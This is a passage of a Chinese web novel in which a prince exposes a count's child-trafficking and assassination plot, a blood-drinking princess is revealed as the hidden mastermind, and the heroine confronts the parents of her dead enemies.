“逆子!”康彪急声打断康耀的话,厉声骂道:“老子这些年待你不薄,你竟然敢出卖老子!”
楚御礼瞧康彪这么急不可耐地打断康耀的话,他冷哼了一声,嘴角勾起一抹淡漠的弧度,“定安伯这是承认了自己所做的事情了?”
定安伯侧首看向楚御礼,面上的表情变得相当狰狞,他恶狠狠地瞪着楚御礼,“御王殿下真是好计谋,说什么回马枪,其实是早就盯上我们定安伯府了吧!”
“没错,从本王在刑部**那天开始,本王就盯上你们定安伯府了。”楚御礼脸色一沉,冰冷的目光从定安伯脸上移开,转而对皇帝拱手道:“父皇可还记得儿臣当时说过那些刺客手中所用的事朝廷生产的**。”
皇帝皱着眉头回想了片刻,想起了当时楚御礼说对方手中是拿的朝廷的**,他点了点头,“所以你查到了?”
楚御礼颔首,“当时几个月的确有三个地方想朝廷申请了**,但是只有一个名不正言不顺,儿臣也想江南节度使传信问了,江南近来安稳,根本没有战乱或者匪贼作乱,所以根本无需申请**,但在徐州的威武将军康城却越过江南节度使赵忠直接向朝廷申请了一批**,而这批**也没有进入江南的记录。”
楚御礼说到这里还特意看了一眼跪在地上的康彪,见康彪在这晚秋的季节跪在那里还满头都是汗,他眉梢微微一扬,继续道:“所以儿臣就把目光盯向了定安伯府康家。”
皇帝脸色阴沉地看了一眼康彪,又问楚御礼,“所以你早就知道是康家掳走了关妙?”
“不是,儿臣只是怀疑,康家的产业也最多,但只有这康庆酒楼的生意最是不好,所以儿臣才会重新回去看看。”楚御礼说罢转身看着康彪,沉声道:“定安伯,说吧,你那幕后之人是谁?”
“没有幕后之人。”康彪狠狠地闭上眼睛,“那些人就是我的人,他们都在为我办事!”
康彪从皇帝看他的眼神就知道自己现在如何辩解皇帝都不会再相信他了。
自己现在若把真想全都脱出,那康家只有死路一条,说不定还会像楚御礼家中一样**得干干净净,最后被一把火烧光。
只有让那个那个女人看出他们康家的忠心,康家才能有未来!
康彪想到这里,梗着脖子抬起头,“这些年臣的女儿虽然入宫为妃,却根本不受皇上重视,就连她生下来的儿子也不被陛下您放在眼里!您的眼中只有大皇子和二皇子!”
“大皇子生来聪明,你想来喜欢,而二皇子因为您宠爱慧贵妃,便爱屋及乌,三皇子你也会因为皇后与淑妃交好的
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缘故,过问两分,偏偏老臣的外孙被您忽略得干干净净!”
皇帝沉着脸,眸光沉沉。
康彪说到这里越说越顺,激动的时候他甚至还站起来,对着楚御礼冷笑,“我早就对你起了杀心!但是奈何找不到动手的好时机,所以才会在少女失踪案爆发的时候,让人混入那些像刺杀你的**中解决了你!可惜了,棋差一步,还是让你逃脱了,还被你揪住了尾巴。”
**...
楚御礼抬起手给康彪鼓起了掌,“真不错,定安伯你不去些话本子简直可惜了。”
楚御礼说到这里脸色一沉,厉声道:“那你倒是说说为何会**关家的孩子,还把人的血都要放干净了!”
“我不知道那是关家的孩子,也不知道那孩子为什么会被放血。”康彪淡定地看了楚御礼一眼,嘴角带笑,“我的手下只给我说找到一个很不错的小孩,若送到扬州养个七八年,定然是一个不错的瘦马,瘦马多能笼络人心啊,将来对我来说大有用处,所以我就让人把她带到了酒楼,打算夜里就送出城,谁知道她竟然是关途的孙女。”
看着楚御礼越来越不好的脸色,康彪脸上的笑意更甚,“若早知道她是关途的孙女,是承恩公府的外孙女,那我定然不会冒这个险的。”
“那人有你这么一个忠心耿耿的下属,应该会很欣慰吧。”楚御礼冷哼,“宁愿全家都死绝也不愿意出卖她,真是主仆情深。”
康彪沉下脸,“我听不懂御王殿下在说什么。”
楚御礼也懒得和他再废话,抬头看向皇帝,“父皇,无论这定安伯说的是真是假,贩卖孩童就是死罪,请您革了定安伯府的爵位,全家下狱,严审每一个人!”
皇帝对福清道:“按御王说的办。”
康彪听到皇帝这话,双手死死地捏在一起,接着他狠狠地咬了一下自己的舌头,嘴角流血而亡。
皇帝见状直接站了起来,眼底怒气翻涌,“定安伯府的人不准放过任何一个人!”
皇帝怒不可遏,这京城之中,天子脚下,这些人竟然敢如此为所欲为!
第194章 皇帝怀疑德妃
楚御礼离宫的时候,德妃被皇帝传到了御书房。
在路上德妃已经听到了自己父亲畏罪**的事情,一路上她心中忐忑却知道父亲是在为她和康家的未来博一条路。
她没想到自己这么小心翼翼,竟然还是让康家被盯上了。
所以当初她就没看错,这个孩子若长不大还好,长大了定然会成为他们的拦路石。
那个女人当初还是太过于自负了,若当年她们直接把楚御礼那孩子给弄**,即便皇帝查出什么也有慧贵妃和淑妃那两个蠢货挡在前面,哪儿还来那么多事情!
一路胡思乱想到了御书房,御书房已经被宫人清理干净了,甚至地上都没有一点血迹了,德妃在还带着一些水迹的地板上跪了下去,她眼泪顺着眼眶滑落,“陛下。”
皇帝坐在龙椅上打量着这个从嫁给自己后就相当乖巧听话的妃子,听定安伯的话,他这些年因为自己忽略了这个妃子对自己很是怨恨。
德妃不知道自己在地上跪了多久,只知道她感觉自己的膝盖疼得快要承受不住了,她才听到皇帝淡漠地问她,“你跟着朕多久了?”
德妃连忙抬手擦拭眼泪,认真地回答,“回陛下,臣妾跟着陛下有整整二十三年了。”
皇帝嗯了一声,神色没有什么变化,“二十三年,时间挺长了。”
德妃咬着嘴唇没说话。
皇帝盯着德妃看了瞬息,又问,“那是朕登基那年跟着朕的?老四多大了?”
德妃垂眸回答,“是,跨过年坎四皇子就十五岁了。”
“他出生没多久,身为朕嫡长子的御儿就病了,是吧?”皇帝语气轻轻的,甚至还能听出些许浅笑的意思。
但是跪在地上的德妃却被吓出了一身冷汗,她抬眸看向皇帝,低声道,“陛下这话是什么意思?”
“德妃,为何你跟着朕整整二十三年了,却在过了那么多年才有身孕?又为何你刚产下儿子御儿就病了?”皇帝目光阴沉地看着德妃,脸色也骤然变得冰冷,“你和那个吸血鬼是不是有什么不可告人的关系?还是说那个人给你承诺了什么?”
“陛下,臣妾真的听不懂您在说什么啊。”德妃保养得宜的脸上露出惊慌,眼底尽是无助之色,“臣妾方才听说了臣妾的父亲所做的糊涂事,若您因为臣妾的父亲做了糊涂事迁怒臣妾,那臣妾无话可说,但是您不能冤枉臣妾啊,臣妾这些年一直在宫中,哪儿能认识什么吸血鬼啊!”
“这么说大皇子当年**与你无关?”皇帝收回看德妃的目光,脸色也不似先前那般冰冷,像是先前没有说过那些冰冷的话一样。
“陛下,当年给大皇子下毒的人不是慧妃和冯丞相吗?”德妃抬眸看着皇帝,眼中的泪水就没有干,她抬手轻轻拭泪,语气幽怨,“这件事情已经真相大白了,您也处置了冯家和慧妃,为何现在还要怀疑臣妾呢?难道仅仅因为臣妾父亲瞒着臣妾做的那些错事吗?”
德妃说到这里跪直了身体,“臣妾不接受这种毫无依据的指责,若陛下怀疑臣妾与臣妾的父亲暗中有所勾结,那就直接把臣妾也打入冷宫,或者直接赐了白绫吧。”
皇帝目光阴沉地看着义正言辞的德妃,好半晌后冷声道:“定安伯犯下重罪,甚至私自滥用朝廷军械,罪不可恕,你身为后妃,对自己的父亲没有起到规诫的作用,理应被罚,从今天起,你就被降为贵人,移居储秀宫,你可有意见?”
德妃所在袖中的手紧紧地捏在一起,修长的指甲嵌入手心,直接把手心掐出血来。
她闭上眼睛沉默了几息,磕头谢恩,“臣妾谢陛下宽宏。”
皇帝看着德妃离开的背影,脸色一沉,对着福清吩咐道,“派人盯着德妃和四皇子。”
福清诧异地看向皇帝,“陛下。”
皇帝冷冷地睨着福清,福清被皇帝这想要刀人的眼神吓了一跳,他低头躬身,应了声是,快步离开。
是夜。
宽大的府邸中,最偏僻那处角落的院中。
姜黎婳穿着一身白色纱衣,她的头发用最简单的发髻全部挽起来,头上没有半点装饰,只有一朵白花,她面无表情地坐在靠窗的软榻上,看着萧条的院落。
楚御礼借着月色走进院中,看到姜黎婳又坐在窗边发呆,他叹了口气抬步朝姜黎婳所在的屋子走过去。
他刚走到门口,坐在门槛上的沈归雁和楚明月就站了起来,沈归雁看了姜黎婳那边一眼,低声
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对着楚御礼道:“小师姑今天又没有说话,吃的东西也极少,王爷您快进去劝她吃点东西。”
楚御礼蹙眉,语气中带着一丝压抑,“知夏和铃铛劝过了?”
“劝过了,但皇嫂说自己没有胃口,她们又给皇嫂做了爽口的酸菜,但皇嫂还是不愿意吃。”楚明月低声道:“我总感觉皇嫂在怪她自己,但这一切明明不是皇嫂的错。”
楚御礼让两人先回去休息,自己则走进屋中,顺便把门给关上了。
姜黎婳听到动静,她没有回头,只是静静地坐在窗边,轻声道:“来了?”
楚御礼端起已经快要凉掉的粥,走到姜黎婳身边的软榻上坐着,“今天那些人又动手了,人我救回来了,顺便端了定安伯府。”
先前还没有半点表情的姜黎婳听到楚御礼这话,无神的眼睛立刻变得有了光芒,她回头看着楚御礼,“定安伯府?”
看小说时间过得太久了,她忘了这是哪一号人了。
楚御礼颔首,“定安伯府是德妃的后家。”
“四皇子的外祖父是定安伯?”姜黎婳眉头微蹙,她想起来了,原主死的时候已经快三十岁了,当时的楚御礼已经**很久了,楚明暄因为身体被掏空了,根本没有了争储的精神,当时好像就是三皇子和四皇子争得最厉害。
而当时好像还有一个人在暗中支持四皇子,导致三皇子与他的争斗屡次失败!
楚御礼见姜黎婳来了精神,趁机舀了粥喂到她嘴边,“先吃点东西,我们再慢慢谈。”
姜黎婳正要拒绝,楚御礼就道:“你不吃,我就不和你说了。”
姜黎婳看了一眼碗里的肉粥,皱着眉头伸手去接粥碗,楚御礼轻轻让开,“我喂你。”
姜黎婳张口吃了,一小碗粥在楚御礼一勺一勺的投喂中见了底,楚御礼还想让她再吃,姜黎婳摇头拒绝,“一次吃太多,我的胃会疼。”
他不再强求,坐回姜黎婳身边的软榻上,伸手搂着姜黎婳的腰,“你经历的前世今生中,可记得四皇子和谁有牵扯?”
姜黎婳摇头,“我不知道,但是我记得当时四皇子的确与三皇子为皇储之位争得挺厉害的,而萧家好像就是四皇子那一派的人。”
第195章 那个女人是佳宁公主
高高的楼台上,萧景宴被人抽得满身是伤,他趴跪在地上抬头望着又要把鞭子狠狠打在自己脸上的女人,“殿下!为什么一定要辅佐四皇子上位?现在最好操控的人难道不是...”
“够了!”年轻绝色,肤色雪白的楚蕙兰披着头发,眼神变得非常的阴沉凌厉,她冰冷的睨着跪在地上的萧景宴,语气冰冷的说道:“如今康家完了,他们母子更容易操控,他们母子知道我们太多事情了,我们现在想要换人辅佐的话,还要灭口,事情太过麻烦。”
萧景宴垂下头应了一声是,但是紧紧眯在一起的双眼,透出了他对楚蕙兰非要选楚浩泽的怀疑。
楚蕙兰随手把手中的鞭子丢在地上,走到楼台旁边的座凳楣子上坐着,她依靠在围栏上面,慵懒的看着还趴跪在地上的萧景宴,“萧郎,以后不要再惹怒我了,我也不想打你的,但是你知道的,我控制不住我的脾气。”
“今日是景宴僭越了。”萧景宴抬头对着楚蕙兰微微笑了笑,“是景宴的错,不怪公主。”
“你知道就好,我不希望任何人违背我的命令。”楚蕙兰说罢叹了口气,“去处理一下伤口吧。”
萧景宴垂眸应了声是,然后踉跄离去。
听到楼梯传来萧景宴咚咚的走路声楚蕙兰才沉声道:“京城的人暂时是动不了了,想办法从其他地方给我弄来年轻的少女血液。”
一直隐藏在暗处的暗卫闻言立体从屋檐下落在了楼台的地上,他蒙着黑色的面具,就连一双眼睛都只留了两个洞,让人无法辨清他的神色,暗卫冷漠地应了声是,又问,“主人还有其他吩咐吗?”
楚蕙兰眉梢微挑,“楚御礼出宫之后去哪儿了?”
“他去了自己在城中购置的别院,又面见了姜吕两家和沈家人,是商量找御王妃的事情。”
楚蕙兰听得意兴阑珊,“人都**,还怎么找?我那个侄儿聪明就是聪明,就是太过于痴情了,不愿意相信事实。”
暗卫不敢说话。
楚蕙兰不知道想到了什么,笑着道,“明日咱们就去城南转转吧,瞧瞧他们如何挨家挨户搜查**的。”
暗卫应了声是,“奴才先去给您弄血。”
楚蕙兰摆了摆手,暗卫离开,楚蕙兰依旧坐在那里看着外面的天色,忽然她感觉自己的胸口一疼,浑身变得僵硬,接着一股抽筋扒皮一般的疼痛开始从胸口遍布全身,她张着嘴从座凳楣子上滚落在地。
她蜷缩在地上,双手死死地抓着胸口的衣襟,接着她抬起自己的双手,看到原本白皙细嫩的双手逐渐布满皱纹,白皙的皮肤也逐渐褪去,变成焦黄,她抬头摸自己的脸,又摸理了自己的头发看,看到原本黝黑的头发开始慢慢的变成灰白,她不顾疼痛的站了起来,嘶吼道:“血,给我血!”
在楼下处理伤势的萧景宴闻言抬眸往楼台上看了一眼,然后继续处理伤口,这时候一个暗卫匆匆拿着血袋飞上楼台。
楚蕙兰接过血液,打开塞子仰头就开始喝,随着血液饮下,她的皮肤像是得到营养液浇灌的花朵一般慢慢的恢复成了先前年轻白皙的模样,头发也慢慢地变回原本的黑色。
她把牛皮壶中的血液喝完后,把牛皮壶丢给暗卫,面色狰狞地问,“那边还没有答复吗?”
为什么她需要喝血的时间越来越频繁了!简直该死!
暗卫垂眸没说话,楚蕙兰闭眼,这些暗卫不会和她说太多废话,若是没有回答她,那就说明他根本不知道这件事情。
她吼了声,“滚!”
暗卫飞身离开。
楚蕙兰抬手扫落手边木架上摆着的价值连城的花瓶。
该死!
她最开始明明只需要一年喝一次血,后来时间逐渐变短,从半年到三个月,再到十几日,如今不过几日就需要饮血!
她害怕以后每日都需要按时按点的饮血!否则就要承受着万蚁啃食之痛!还要承受迅速衰老的痛苦!
不行!
谁愿意看到自己前一刻还年轻漂亮,下一刻就变成那样丑陋苍老!
“去,给我准备更多的血!下次最好把血给我备好!若下次你们再让我主动要血喝,那你们都给我通通**!”楚蕙兰厉声喝道。
萧景宴听着楚蕙兰的话,眉头紧紧地皱在了一起,这个女人的脾气越来越坏了,若自己一直留在这里的话,说不定用不了多久就要被这个女人折磨致**!他得想办法让这个女人送自己离开京城。
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这边姜黎婳与楚御礼也聊到了深夜,楚御礼忽然坐直身子看着姜黎婳,眉头微蹙,“你说姑母?”
姜黎婳颔首,“若是女子,那如今身份高贵的就只有佳宁公主了,而且佳宁公主前面十几年都在城外,根本不在城内。”
楚御礼想到楚蕙兰的模样,又想起她做的那些事情,低声道,“要不要我去佳宁公主府走一趟?”
“王爷也觉得不对劲了?”姜黎婳抬眸与楚御礼对视。
“你说得没错,姑母的确是一个值得怀疑的对象。”楚御礼眼睛微眯,“我记得姑母当年和五皇叔关系很好,但是这么多年过来了,与五皇叔关系最好的姑母却从未提起过五皇叔,也说不定她就是在暗中筹谋想为五皇叔报仇。”
“五皇叔?”
“就是靖王。”楚御礼看了一眼窗外,“这座府邸原本的主人。”
姜黎婳站了起来,眼神震惊,“所以那天夜里过来的女人是佳宁公主!”
楚御礼眉头紧促,“这里来过人?”
姜黎婳颔首,“来过,那天夜里我睡不着,想着出去走走,却忽然听到有动静,我藏在花丛中看到一个带着斗笠身穿白衣的女人去了主院。”
“那这里不安全了,我原本以为这里没有人住,加之这里是禁,没人会搜查这里,但既然有人深更半夜会过来,那你们住在这里的事情就随时可能暴露,今夜我连夜送你们出城?”
“她今夜应该不会过来,明日一早我让他们乔装一下出城。”姜黎婳嘴角微微勾起,“我还有一件事情没有办呢。”
“让昭临他们带你们出城。”楚御礼看着姜黎婳,“安全一些。”
姜黎婳知道楚御礼没有要亲自送自己出城已经是在让步了,她轻轻点头,“好,不过我们不能一起走,得分开。”
“好。”楚御礼牵着姜黎婳的手,“我已经在城外为你们找好了住处,让昭临他们直接送你们过去。”
“我要去冀州。”姜黎婳眼睛微眯,“苏清欢应该知道那个女人的身份,我想去找苏建明和邹如意,看看他们知不知道那个女人的底细。”
其实她这么说不过是借口,她只是想替原主去狠狠地扎一下他们的心!
第196章 舅兄的质问,苏邹现状
翌日天光微亮姜黎婳等人就已经乔装打扮分为三拨人离开了京城。
他们南城门离开,佳宁公主的马车就到了南城门口。
南城门的守卫看着佳宁公主府的徽旗恭敬地上前给马车行了一礼,楚蕙兰素手先开车帘看了城门的守卫一眼,和善地笑了笑,“本宫要回山上一趟。”
不明所以的城门护卫看了楚蕙兰一眼,然后让开身子。
楚蕙兰放下车帘看着坐在自己对面的萧景宴,眼皮抬了抬。
出了城门,楚蕙兰的马车加了速,而原本坐在楚蕙兰对面的萧景宴眼神却亮了,他抬头激动地看着楚蕙兰,沉声道:“景宴一定会帮殿下最合殿下口味的血液,也会帮殿下更加壮大您的势力,让您能早日掌控楚国。”
楚蕙兰抬手摸了摸萧景宴的脸颊,轻轻笑了,“萧郎,别让我知道你骗了我,否则即便是天涯海角,我都会找到你,然后把你削成人彘,放在我身边,知道了吗?”
听着楚蕙兰用清幽的语气说着恶魔一般的话语,萧景宴眼眸动了动,他抬手覆上楚蕙兰捧着自己脸的手,轻笑,“我从十二岁就跟着您了,难道还不能证明我对您的真心吗?”
“乖,所以我才会在萧家暴露之后,不顾一切都要把你救下。”她看着萧景宴的眼睛,有些眷念的低喃,“我会想你的。”
萧景宴的脸在她手心蹭了蹭,“景宴也会,为了能和殿下长相厮守,景宴一定会为您找来更多的血液,为您永葆青春。”
楚蕙兰笑了,看萧景宴的眼神也越发温和。
这时候原本守在城门的守卫站在城楼上看着越来越远的马车,接着转身下了楼,朝楚御礼在城南的别院跑去。
一刻钟后。
青砚有些不解的看着楚御礼,“为什么不派人跟着了?”
“若她真的是那个幕后之人,那她身边的高手和安慰必定不少,她也会比谁都敏锐,若我们的人跟着她,她或者她身边的人一定会察觉的。”楚御礼已经换好了一身黑色的劲装,头发也高高竖起,看上去比平日里精神了不少,他整理了一下衣裳抬步往离开别院,“派人盯着佳宁公主府和那几处地方,有异动随时向本王汇报。”
楚御礼刚离开没多久就和朝自己院子方向走来的姜斯羽遇上了,看到姜斯羽有些发红的眼眶,楚御礼脚步顿了顿,不过只是片刻的怔愣,他就抬步朝姜斯羽走去。
姜斯羽看到楚御礼精神的模样,藏在手袖中的手死死地握紧,他疾步上前抬手就朝楚御礼一一拳打过来,楚御礼片头让开,一只手接住姜斯羽的拳头,沉声道:“舅兄这是做什么?”
“做什么?”姜斯羽双目赤红,眼神冰冷的看着楚御礼,嘶声问道:“你曾经当着我们的面在保证什么?如今婳儿他们还么找到,你还有心思办案?你前几日是怎么在我爹面前说的?”
楚御礼蹙眉,“我与父皇做了交易,父皇说我必须查案,他才能收回之前下的命令,我坚信婳儿还活着,也认定了婳儿才能做我唯一的王妃!”
他目光定定地看着姜斯羽,沉声道:“我知道舅兄和岳父在用自己的方式寻找婳儿,我也要用我自己的方式守住婳儿的位置!”
姜斯羽双手死死地捏在一起,下颌也紧紧地咬住,他使劲抽回自己的拳头,然后无力地垂了下去,接着有些颓废的抬手捂着自己的脸,喃喃道:“佩玉嬷嬷的尸体都找到了,婳儿到底哪儿去了?”
楚御礼看着姜斯羽的模样,眼底闪过一丝不忍,但是想到他曾和婳儿商量的结果,最终还是什么都没说,他道:“舅兄,我之所以答应父皇查案,也是想要婳儿早些回来。”
他上前一步双手稳住姜斯羽的肩膀,低声道:“只有把真凶缉拿归案,我们才有机会让婳儿他们回来,所以你们用你们的方式找,我用我的方式找可好?”
姜斯羽往后退了一步,看着楚御礼,沉声道:“楚御礼,若是婳儿真的出事了,我们姜家这一辈子都会和你势不两立!即便你身份再高贵也一样!”
“我不会让那一天到来的。”楚御礼沉声道。
楚御礼说罢大步离开。
青砚连忙跟着离开,等出了巷子了,青砚才不解地追上楚御礼低声问,“主子,您为什么
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不告诉姜公子王妃根本没有出事的真相?”
“这件事情知道的人越少越好。”楚御礼说着回头看了一眼慢慢朝巷子外面走来的姜斯羽,沉声道:“真正失去亲人的伤痛和假装的总有区别。”
就像他,若是婳儿真的不见了,他怎么可能镇定地查案,又怎么可能有心思管其他人。
他已经不能演出自己的本色了,又怎么能让其他人再知道真相,若他们都知道婳儿还活着了,那那人躲在暗处的人,也一定会知道。
所以除了他和当时见过婳儿的昭临等人,其他人都不可以知道婳儿还活着并且就在他身边的事情。
是夜。
冀州邢城某巷子中的一处院落中。
明显比先前苍老了一些的苏建明坐在院子中自己与自己对弈,邹如意则端着一盆豆子坐在烛灯下在把里面坏掉的豆子挑出来。
邹如意把豆子挑完了,打水把豆子泡了起来,然后转身回屋,片刻之后走出来,沉着脸对苏建明道:“家中已经没有剩下多少银子了,你委托去问清欢和恒儿消息的人还没有回来吗?”
苏建明不在意地抬头看了邹如意一眼,沉声道:“我们又不知道清欢他们在哪儿,人家也只能挨着去找,哪儿来那么快找到。”
邹如意听了苏建明这话脸色更不好了,“若清欢他们再不让人捎银子回来,咱们就吃不起饭了!”
过了这么久养尊处优的生活,突然变了生活质量已经让她无法适应了,若再过回以前那种吃不饱穿不暖的生活,那她真的会疯掉的!
“清欢都说了那个女人是萧景宴都要礼让三分的女人,她现在已经被那个女人收为干女儿了,那地位定然比萧景宴还高!想来清欢现在是有些忙,再过些日子,应该会让人捎银子回来了。”苏建明抬眸冷冷地睨了邹如意一眼,沉声道:“也不知道你在担心什么,你那儿不是还有十几两银子吗?”
“十几两银子最多能吃十天!”邹如意沉下脸,“你总不能不吃肉吧?”
苏建明蹙眉,“我明日再出去问问!若再找不到清欢,你就出去做工挣钱!”
第197章 苏邹二人得知苏清欢兄妹死亡真相
邹如意听苏建明说竟然要让自己出去做工挣钱养他,心头的怒火立刻蹭蹭蹭地冒了起来,这些日子一直因为之前被苏建明背刺心头有根刺的邹如意终于在这一刻爆发了。
她几大步冲过去就把苏建明面前棋桌给掀翻了,“你还是不是男人!你在家中什么事情都不干,竟然让我出去做工养家?当年我嫁给你之前你可不是这么说的!我这些年为了你们在京城忍气吞声,现在你竟然这么对我?”
桌上的烛台被掀翻倒在地上瞬间熄灭,苏建明瞬间阴沉下去的脸在黑夜中没有起到威慑邹如意的作用,他抬手一巴掌落在邹如意脸上,厉声道:“这些年我对你不好?若是没有我,你能过这么多年养尊处优的好日子?”
苏建明说到这里不解气,抬手就掐住邹如意的脖子,眼神阴狠,“为了你,我连亲娘都不顾了,她如今在宁古塔生死不知,你好歹还在这里吃喝不愁!我不过是让你出去做工挣点生活费,你就不愿意了?”
邹如意当初虽然是个村妇力气不小,但是养尊处优这么些年,早就养娇弱了,自己的力量哪儿能抵得过苏建明一个成年男人的力气,她抬手使劲地想要拉开苏建明掐着自己脖子的手,却因为力气不足拉不开,反而因为力气不足把自己搞得缺氧,开始窒息...
她张着嘴,眼睛也开始往上翻,声音也断断续续,“你...放....放开...”
苏建明刚刚那是被气红了眼睛,这时候听到邹如意说话的声音不对,他猛地松开双手,邹如意一下跌坐在地上,双眸浸染上雾气,抬眸怨念地看着苏建明,哭着道,“你刚刚竟然想杀了我!”
苏建明站在原地手指微微弯曲,语气有些不自然,“我刚刚只是太生气了,若是我能出门的话,又怎么会让你出去挣钱养家。”
邹如意看苏建明的眼神有些不解,她正要问为什么,院子的门忽然被人用大力推开,两人几乎同时朝大门看去。
一个头戴帷帽的女人在两个侍卫的陪同下走了进来。
邹如意见状欣喜地从地上爬了起来,“欢儿,你回来了!”
太好了,她不用出去做工了!
苏建明脸上也带了笑容,“我就给你娘说你这孩子懂事,一定会回来看我们的,快回来去屋里坐。”
苏建明自己说完就转身往堂屋里面走。
这出院子不大,除了正屋堂屋,和堂屋两边的房间,就只有东边的厨房和西边的杂物间,还有建在角落的恭房,院子里面有一棵枣树,其他什么都没有。
进了屋子邹如意亲切的给添茶倒水,然后坐在头戴帷帽的女子旁边问,“欢儿你最近都在忙些什么呢?娘让你父亲派人去京城找你,总是找不到你的下落。”
苏建明蹙眉道:“你娘总担心你,爹也知道你如今的不容易的,但爹娘毕竟记挂你,你再忙也要给家中递书信,你娘啊,总担心你不送银子回来,会把自己饿死。”
所以你即便是没时间送书信回来,也要捎点银钱回来啊!
他这么说应该很明显了吧?
不需要再明示了吧?
姜黎婳透过帷帽的轻纱看着苏建明和邹如意两人,苏建明姿态如今还略带一些高高在上,而邹如意却带着一些讨好...
看来两人如今都完全仰仗着苏清欢捎银子回来度日呢。
她嘴角微微一勾,看来身在邢城的两个人并不知道苏清欢和苏子恒已经**。
这件事情在京城闹得那么沸沸扬扬的,这两个人竟然一点都不知道。
这么说,苏清欢也许也不知道那个女人的**?
若是这样的话,他们想要抓住那位佳宁公主的把柄,也许还真的不容易呢。
“我是代替我们主子过来走一趟的。”姜黎婳故意压着自己的嗓音,没什么情绪地对两人说道,“秋猎之日,苏清欢去刺杀御王妃未果,被御王妃一箭穿心而亡,苏子恒**沈家小姐,妄图喝了沈小姐的血吃了沈小姐的肉,被御王妃抓了个正着,他被砍断了双腿,在刑部受审的时候承受不住痛苦而亡。”
“这不可能!”邹如意几乎立刻嘶吼出声,眼中的眼泪也立刻倾泻而出,“我的恒儿和欢儿怎么可能会死!”
“人已经**十多天了,你们若是不相信的话,可以自己出去打听打听。”站在
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姜黎婳身后改头换面的昭临沉声道。
苏建明抬头看着坐在红木椅上气质非凡的女人,沉声问,“那你是谁?你为什么会忽然过来告诉我们这些!”
“干娘让我过来的,她说苏清欢当初毕竟是被她看重的,没想到竟然这么愚蠢。”姜黎婳站起来,“当初干娘并未让她去做那种愚蠢的事情,她却因为自己的嫉妒心不顾干娘的命令,非要去招惹御王妃,如今他们兄妹两人惨死,干娘自然不会再为他们复仇。”
“兰娘子怎么能这样!”邹如意一把抱住姜黎婳的双腿,嘶吼道:“欢儿明明说过兰娘子很喜欢她,她怎么会对欢儿不管不顾!”
姜黎婳听邹如意这话,眼睛一眯,她厉声喝道:“你以为你对**娘很了解?”
邹如意被姜黎婳的气势给护住,她无力地瘫坐在地上,捂着脸哭道:“我们了解什么?当时在矿窑,我们在快要被人欺负死的时候欢儿带着几个人把我们带了出来,安置在了这出院子中,说她被一个比萧景宴还厉害的女人看重收为干女儿了。”
“我如今唯一知道的是你们那个干娘有权有势!是萧景宴也要忌惮的存在。”邹如意仰头看着依旧稳坐在椅子上的姜黎婳,“你刚刚是不是在套我的话?就是想看看欢儿和我们家对兰娘子的忠心?”
她连忙翻起来跪在地上,哭得梨花带雨,“我发誓,我们对兰娘子都是忠心耿耿的,绝对不可能出卖兰娘子,求您告诉我,欢儿没有死,恒儿也没有死!求您了!”
姜黎婳垂眸看着跪在自己脚边卑微的祈求,就只想听到自己儿女没事儿的邹如意,她垂在身侧的手轻轻捏成拳头,她咬着嘴唇,想到书中他们对原主做的那些事情,她刚刚软下来的心,立刻又硬了起来。
她沉声道:“如此看来苏清欢还算是识趣,没有把干娘的其他事情告诉你们。”
她抬步要往外面走,却被邹如意抱住了双腿,“姑娘,您告诉我,清欢和恒儿没有死,刚刚是你们在诈我们的对不对?”
姜黎婳停下脚步垂头看着耗着自己双腿的邹如意,沉声道:“**,你没有儿女了。”
第198章 苏承印兄弟找上姜家父子
“不!这不可能!我的欢儿和恒儿怎么可能会死!”
姜黎婳站在院子外面听到里面传来邹如意凄厉的哭声。
她回眸往院子里面看了一眼,抬步离开了巷子。
昭临跟在姜黎婳身后,他能感觉到先前王妃心头浮现的不忍,难道王妃会因为苏清欢和苏子恒的死,就这么原谅苏建明和邹如意了?打算放过他们了?
想到这里昭临快步走到姜黎婳身后一步远的地方,问姜黎婳,“王妃,那您先前吩咐的那件事情还要办吗?”
姜黎婳脚步微顿,她有些不解地回头看向昭临,轻声道:“我来这边是想看看他们知不知道苏清欢背后之人的真实情况,顺便把苏清欢他们死亡的事实告诉他们,这是我的报复。”
昭临眨了眨眼睛,那另一件事情就不是了吗?
姜黎婳叹气,“但苏建明欠了人家钱庄的银钱,欠债还钱天经地义,你路见不平为钱庄的人指路找到苏建明也算是见义勇为了。”
昭临嘴角一抽,真是一个被窝里面睡不出来两种人。
两个人都是黑芝麻馅儿的白汤圆儿!
王妃今夜先来诛心,明日两个人还没有接受儿女双亡的事实,就要被追债的**逼着还钱,真不知道明天苏建明那一双养尊处优多年的手,是否能保得住。
姜黎婳才不管昭临心头如何想自己的,她当初看小说的时候对苏建明和邹如意相当厌恶,特别心疼原主的遭遇,虽然她改变了原主的遭遇,但却不会原谅当年想要把原身害死的邹如意和苏建明。
他们两个人的报应,才刚刚开始。
两人走出巷子,昭临原本打算护送姜黎婳去附近的客栈休息一晚,明日一早再送姜黎婳回当初姜黎婳他们去过的那山中大宅里面去,却见姜黎婳忽然加快了脚步朝另一条巷子大步走去。
昭临赶紧跟上姜黎婳的脚步,低声问,“王妃,这边不是去客栈的方向。”
“嘘。”姜黎婳朝巷子里面抬了抬下巴,“我刚刚好像看到萧景宴了。”
昭临眼睛一眯,顺着姜黎婳指的方向看过去,只看到一个人影进了一处院子,他眉头微蹙,低声道:“属下护送王妃回客栈休息,然后过去打探一番。”
姜黎婳轻轻摇头,“在这附近守着就是,那些人当时费了那么大的代价把萧景宴救出来,定然是十分看重萧景宴的,我们也不知道是不是有暗卫在附近保护萧景宴,所以还是不要轻举妄动的好。”
姜黎婳对这个时代的暗卫和死士始终有阴影,明明没感觉到周围有人,却总会神不知鬼不觉地出现,**一个措手不及...
她一个只会射箭的弱女子再加一个功夫没有沉鹤等人高的昭临,还是别去找**吧!
昭临,“......”
王妃倒是谨慎。
这让他原本准备好的话都说不出来了。
他还以为王妃要玩一把英雄主义,不顾自己的安危也要打探出萧景宴过来这边做什么呢。
姜黎婳记住了院子的位置,转身往大街上走,“走吧,找个客栈住下。”
翌日。
浅睡了两个时辰的姜斯羽天光微亮又爬了起来,熟悉穿戴好后,他又带着人要出门,却在出门前被姜淮邦拦住了,姜斯羽有些不解地看着忽然不让自己出门的姜淮邦,声音沙哑,“爹?”
姜淮邦这些日子也憔悴苍老了一些,身子也瘦了一圈,他拍了拍姜斯羽的肩膀沉声道,“你也找了你妹妹这么久了,剩下的日子你回去好好读书,我亲自带人找。”
“爹!现在妹妹生死不知,我哪儿有心思读书!”姜斯羽眼眶通红的看着姜淮邦,“一天找不到她,我就一天不会去读书!”
